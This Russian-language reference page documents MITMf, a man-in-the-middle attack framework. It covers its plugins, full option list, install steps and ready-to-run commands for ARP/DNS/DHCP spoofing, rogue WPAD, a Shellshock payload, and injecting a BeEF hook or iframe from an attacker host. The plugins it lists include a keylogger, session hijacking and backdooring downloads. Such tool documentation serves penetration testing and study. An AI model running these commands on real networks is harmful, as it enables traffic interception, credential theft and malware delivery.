MITMf
Описание MITMf
MITMf — это фреймворк для атак человек-посередине (Man-In-The-Middle attacks). Этот инструмент основывается на sergio-proxy и является попыткой возродить и обновить этот проект.
Описание
Цель MITMf — быть инструментом всё-в-одном для сетевых атак и атак человек-по-середине, при этом обновляя и усовершенствую существующие атаки и техники.
Первоначально будучи созданной для исправления значительных недостатков других инструментов (например, Ettercap, Mallory), программа была практически полностью переписана с нуля для обеспечения модульного и легко масштабируемого фреймворка, который каждый может использовать для реализации своих собственных атак MITM.
Особенности
- Этот фреймворк содержит встроенные сервера SMB, HTTP и DNS, которые могут управляться и использоваться множеством плагинов, он также содержит модифицированную версию SSLStrip proxy, которая позволяет HTTP модификацию и частичный обход HSTS.
- Начиная с версии 0.9.8, MITMf поддерживает активную фильтрацию пакетов и манипуляцию (в основном то, что делали etterfilters, только лучше), позволяя пользователям модифицировать любой вид трафика или протокола.
- Конфигурационный файл может быть отредактирован на лету в то время когда MITMf запущен, изменения будут переданы во фреймворк: это позволяет вам делать тонкую настройку плагинов и сервера во время выполнения атаки.
- MITMf будет захватывать FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (все поддерживаемые протоколы вроде HTTP, SMB, LDAP и т.д.) и учётные данные Kerberos с использованием Net-Creds, который запускается при старте программы.
- Интеграция с Responder позволяет LLMNR, NBT-NS и MDNS poisoning, а также поддержку жульнического сервера WPAD.
Активная фильтрация/модификация пакетов
Теперь вы можете модифицировать любой пакет/протокол, который перехвачен MITMf, используя Scapy! (больше никаких etterfilters! ура!)
Например, вот тупой маленький фильтр, который просто меняет IP адрес назначения ICMP пакетов:
if packet.haslayer(ICMP): log.info('Got an ICMP packet!') packet.dst = '192.168.1.0'
- Используйте переменную пакета для доступа к пакету в Scapy совместимом формате
- Используйте переменную данных для доступа к сырым данным пакета
Теперь для использование фильтра всё, что нам нужно сделать это: python mitmf.py -F ~/filter.py
Возможно вы захотите комбинировать это с плагином Spoof, чтобы в действительности перехватывать пакеты от кого-то ещё 😉
Примечание: вы можете изменять фильтры на лету без перезапуска MITMf!
Домашняя страница: https://github.com/byt3bl33d3r/MITMf
Автор byt3bl33d3r
Лицензия: GPLv3
Справка по MITMf
Использование:
mitmf.py -i интерфейс [опции mitmf] [имя плагина] [опции плагина]
необязательные аргументы: -h, --help показать справку и выйти -v, --version показать номер версии программы и выйти MITMf: Опции для MITMf --log-level {debug,info} Указать уровень лога [по умолчанию: info] -i INTERFACE Интерфейс для прослушивания -c CONFIG_FILE Указать конфигурационный файл для использования -p, --preserve-cache Не убивать кэширования клиента/сервера -r READ_PCAP, --read-pcap READ_PCAP Разобрать указанный pcap в поисках учётных данных и выйти -l PORT Порт для прослушивания (по умолчанию 10000) -f, --favicon Подставить иконку замка на безопасные запросы. -k, --killsessions Убить работающую сессию. -F FILTER, --filter FILTER Применить фильтр для входящего трафика FilePwn: Используя bdfactory, заражает исполнимые файлы, пересылаемые через HTTP бэкдором --filepwn Загрузить плагин 'FilePwn' Inject: Инжект произвольного содержимого в HTML контент --inject Загрузить плагин 'Inject' --js-url JS_URL URL JS для инжекта --js-payload JS_PAYLOAD JS строка для инжекта --js-file JS_FILE Файл, содержащий JS для инжекта --html-url HTML_URL URL HTML для инжекта --html-payload HTML_PAYLOAD HTML строка для инжекта --html-file HTML_FILE Файл, содержащий HTML для инжекта --per-domain Вставить один раз на домен для одного клиента. --rate-limit RATE_LIMIT Вставить один раз каждые RATE_LIMIT секунд на одного клиента. --count-limit COUNT_LIMIT Вставить только COUNT_LIMIT раз на одного клиента. --white-ips IP Вставить контент ТОЛЬКО для этих IP (разделять запятыми) --black-ips IP НЕ вставлять содержимое для этих IP (разделять запятыми) --white-domains ДОМЕНЫ Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми) --black-domains ДОМЕНЫ НЕ вставлять контент для этих доменов (разделять запятыми) SMBAuth: Попытка вызвать SMB вызов-ответ аутентификации --smbauth Загрузить плагин 'SMBAuth' Ferret-NG: Захватывает кукиз и запускает прокси, которые будут скармливать их подключённым клиентам --ferretng Загрузить плагин 'Ferret-NG' --port ПОРТ Порт на котором запустить прокси Ferret-NG (по умолчанию 10010) --load-cookies FILE Загрузить кукиз из лог файла ScreenShotter: Использует HTML5 Canvas для отображения точного скриншота клиентских браузеров --screen Загрузить плагин 'ScreenShotter' --interval СЕКУНДЫ Интервал, через которые будут делаться скриншоты (по умолчанию 10 секунд) AppCachePoison: Выполнение атак травления кэша приложений (App Cache Poisoning) --appoison Загрузить плагин 'AppCachePoison' ImageRandomizer: Заменить изображения на случайные из указанной директории --imgrand Загрузить плагин 'ImageRandomizer' --img-dir DIRECTORY Директория с изображениями Spoof: Перенаправить/модифицировать трафик используя ICMP, ARP, DHCP или DNS --spoof Загрузить плагин 'Spoof' --arp Перенаправить трафик используя ARP спуфинг --icmp Перенаправить трафик используя ICMP редиректы --dhcp Перенаправить трафик используя DHCP предложения --dns Прокси/Модифицировать DNS запросы --netmask NETMASK Сетевая маска сети --shellshock PAYLOAD Триггер для уязвимости Shellshock когда спуфится DHCP и выполняется специфичная команда --gateway GATEWAY Указать IP шлюза --gatewaymac GATEWAYMAC Указать MAC шлюза [автоматически преобразуется если пропущен] --targets ЦЕЛИ Указать хост(ы) для травления [если пропущены, то по умолчанию подсеть] --ignore ИГНОР Указать хосты(ы) которые не травить --arpmode {rep,req} Режим ARP спуфинга: ответы (rep) или запросы (req) [по умолчанию: rep] SSLstrip+: Включить SSLstrip+ для частичного обхода HSTS --hsts Загрузить плагин 'SSLstrip+' Captive Portal: Стать перехватывающим порталом! --captive Загрузить плагин 'Captive Portal' --portalurl URL Указать URL, где размещён портал, например, http://example.com. --portaldir LOCALDIR Указать локальный путь, содержащий файлы портала, обрабатываемые с SimpleHTTPServer на другом порту (смотрите конфигурацию). --use-dns Используем ли мы dns для обработки красивого URL captive.portal, используется без опций или с portaldir. Требует преобразования DNS для "captive.portal", например, через настроенный DNS спуфинг --dns. SMBTrap: Эксплуатировать SMBTrap уязвимость на подключённых клиентах --smbtrap Загрузить плагин 'SMBTrap' BrowserProfiler: Попытаться перечислить все плагины браузера подключённых клиентов --browserprofiler Загрузить плагин 'BrowserProfiler' JSKeylogger: Инжект килогера javascript в веб-страницы клиентов --jskeylogger Загрузить плагин 'JSKeylogger' BrowserSniper: Выполняет атаки на клиенты легендой об устаревшем плагине браузера --browsersniper Загрузить плагин 'BrowserSniper' Responder: Травление LLMNR, NBT-NS и MDNS запросов --responder Загрузить плагин 'Responder' --analyze Позволяет вам видеть NBT-NS, BROWSER, LLMNR запросы без травления --wredir Включает ответы для суффиксов запросов netbios wredir --nbtns Включает ответы для суффиксов запросов доменов netbios --fingerprint Отпечатки хостов, выпущенные на запрос NBT-NS или LLMNR --lm Принудительное понижение хэширования LM для Windows XP/2003 и более ранних --wpad Запуск фальшивого прокси сервера WPAD --forcewpadauth Принудительная NTLM/Basic аутентификация на восстановление файла wpad.dat (может вызвать приглашение входа) --basic Возвращает базовую HTTP аутентификацию. Если не установлена, то будет возвращена аутентификация NTLM HTA Drive-By: Выполнить атаку с HTA на клиентах --hta Загрузить плагин 'HTA Drive-By' --text TEXT Текст для отображения на панели уведомлений --hta-app HTA_APP Путь до приложения HTA [по умолчанию config/hta_driveby/flash_setup.hta] Replace: Заменить произвольное содержимое в HTML контенте --replace Загрузить плагин 'Replace' Upsidedownternet: Flips images 180 degrees --upsidedownternet Загрузить плагин 'Upsidedownternet'
Руководство по MITMf
Страница man отсутствует.
--log-level
Тип — трока, можно выбрать из 'debug', 'info', по умолчанию — "info". Описание: особый уровень ведения лога.
-i
Назначение — 'interface', требуется — да, тип — строка. Описание: интерфейс для прослушивания.
-c
Назначение — 'configfile', metavar="CONFIG_FILE", тип — строка, по умолчанию - "./config/mitmf.conf". Описание: задаёт конфигурационный файл который нужно использовать.
-p, --preserve-cache
Действие — "store_true". Описание: не убивать кэширование клиента/сервера.
-r, --read-pcap
Тип — строка. Описание: парсить заданный pcap на наличие учётных данных и выйти.
-l
Назначение — 'listen_port', тип — целое положительное число, metavar="PORT", по умолчанию=10000. Описание: порт для прослушивания (по умолчанию 10000).
-f, --favicon
Действие — "store_true". Описание: подставить замок вместо иконки сайта на безопасных запросах.
-k, --killsessions
Действие — "store_true". Описание: убить сессии в прогрессе.
-F, --filter
Тип — строка. Описание: применить фильтр к входящему трафику.
Примеры запуска MITMf
Наиболее базовое использование это запустить HTTP прокси, серверы SMB,DNS,HTTP и Net-Creds на интерфейсе enp3s0:
python mitmf.py -i enp3s0
ARP poison на всю подсеть со шлюзом 192.168.1.1 используя плагин Spoof:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
То же самое как и выше + жульнический WPAD прокси сервер используя плагин Responder:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP poison 192.168.1.16-45 и 192.168.0.1/24 со шлюзом на 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Включить DNS спуфинг во время ARP poisoning (Домены для спуфинга беруться из конфигурационного файла):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Включить спуфинг LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Включить сфуфинг DHCP (ip пул и подсеть берутся из конфигурационного файла):
python mitmf.py -i enp3s0 --spoof --dhcp
То же что и выше, но в нагрузку с ShellShock, который будет выполнен если какой-либо клиент уязвим:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Инжект IFrame в HTML, используя плагин Inject:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Инжект скрипта JavaSript:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Запуск перехватывающего портала (captive portal), который перенаправляет всё на http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Запустить перехватывающий портал на http://your-ip/portal.html используя страницей по умолчанию /portal.html (спасибо responder) и /CaptiveClient.exe (не приложен) из папки config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Как и выше, но с именем хоста captive.portal вместо IP (требует, чтобы captive.portal преобразовывался в ваш IP, например, через DNS спуфинг):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Перехватывающий портал с дополнительным экземпляром SimpleHTTPServer, работающим из LOCALDIR на http://IP:8080 (изменить порт в mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Как и выше, но с именем хоста:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
И многое-многое другое!
Конечно вы можете использовать совместно и смешивать почти все плагины (например, ARP spoof + inject + Responder и т.д.)
Для полного списка опций просто запустите python mitmf.py --help
Установка MITMf
Установка на BlackArch
Программа предустановлена в BlackArch.
sudo pacman -S mitmf sudo mitmf --help
Или из исхоодников:
sudo pacman -S python-pip sudo pip install virtualenvwrapper source /usr/bin/virtualenvwrapper.sh pacman -S mitmf python2-setuptools libnetfilter_queue libpcap libjpeg-turbo capstone mkvirtualenv MITMf -p /usr/bin/python2.7 pip install requests[security] cd /usr/share/mitmf/ pip install -r requirements.txt cd sudo python /usr/share/mitmf/mitmf.py --help
После перезагрузки запускайте так:
source /usr/bin/virtualenvwrapper.sh mkvirtualenv MITMf -p /usr/bin/python2.7 sudo python /usr/share/mitmf/mitmf.py --help
Установка в Kali Linux
sudo apt-get install mitmf mitmflib sudo mitmf --help
Или из исходников:
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents pip install virtualenvwrapper source /usr/local/bin/virtualenvwrapper.sh mkvirtualenv MITMf -p /usr/bin/python2.7 pip install requests[security] git clone https://github.com/byt3bl33d3r/MITMf cd MITMf && git submodule init && git submodule update --recursive pip install -r requirements.txt python mitmf.py --help
При последующих перезагрузках системы запускать так:
- переходите в каталог со скаченной программой, к примеру:
cd bin/MITMf/
Далее:
source /usr/local/bin/virtualenvwrapper.sh mkvirtualenv MITMf -p /usr/bin/python2.7 python mitmf.py --help
Установка в Debian, Mint, Ubuntu (а также в Kali Linux, если вы работаете под обычным пользователем)
sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev python-pip git libxml2-dev libxslt1-dev libffi-dev libjpeg-dev libffi-dev libssl-dev libnfnetlink* libnetfilter-queue-dev sudo pip install capstone sudo pip install virtualenvwrapper sudo -s source /usr/local/bin/virtualenvwrapper.sh mkvirtualenv MITMf -p /usr/bin/python2.7 sudo pip install requests[security] git clone https://github.com/byt3bl33d3r/MITMf cd MITMf && git submodule init && git submodule update --recursive pip install -r requirements.txt python mitmf.py --help
При последующих перезагрузках системы запускать так:
- переходите в каталог со скаченной программой, к примеру:
cd bin/MITMf/
Далее:
sudo -s source /usr/local/bin/virtualenvwrapper.sh mkvirtualenv MITMf -p /usr/bin/python2.7 sudo python mitmf.py --help
Скриншоты MITMf
Это утилита командной строки.
Доступные в настоящий момент плагины MITMf
- HTA Drive-By : Вставляет фальшивое уведомление об обновлении и предлагает клиенту загрузить HTA приложение
- SMBTrap : Эксплуатирует уязвимость 'SMB Trap' на подключённом клиенте
- ScreenShotter : Использует HTML5 Canvas для рендера точного скриншота клиентского браузера
- Responder : LLMNR, NBT-NS, WPAD и MDNS отравитель
- SSLstrip+ : Частичный обход HSTS
- Spoof : Редирект трафика используя ARP, ICMP, DHCP и DNS сфуфинг
- BeEFAutorun : Автозапуск BeEF модулей, основываясь на типе ОС или браузера клиента
- AppCachePoison : Выполняет HTML5 App-Cache poisoning атаки
- Ferret-NG : Незаметно перехватывает (hijack) сессии клиента
- BrowserProfiler : Пытается перебрать все плагины браузера клиента
- FilePwn : Заражает бэкдорами исполнимые файлы, отправляемые через HTTP, используя Backdoor Factory и BDFProxy
- Inject : Вставка произвольного содержимого в HTML контент
- BrowserSniper : Выполняет атаки drive-by на клиентах с устаревшими плагинами браузера
- JSkeylogger : Вставляет Javascript килоггер в веб-страницы клиента
- Replace : Заменяет произвольный контент в HTML контенте
- SMBAuth : Вызывает приглашение аутентификации SMB
- Upsidedownternet : Переворачивает изображения на 180 градусов
- Captive : Создаёт перехватывающий портал (captive portal), перенаправляя HTTP запросы используя 302
Инструкции по MITMf
- Инструкция по использованию MITMf
- Инструкции и примеры на английском языке от автора: https://byt3bl33d3r.github.io/
Comments are Closed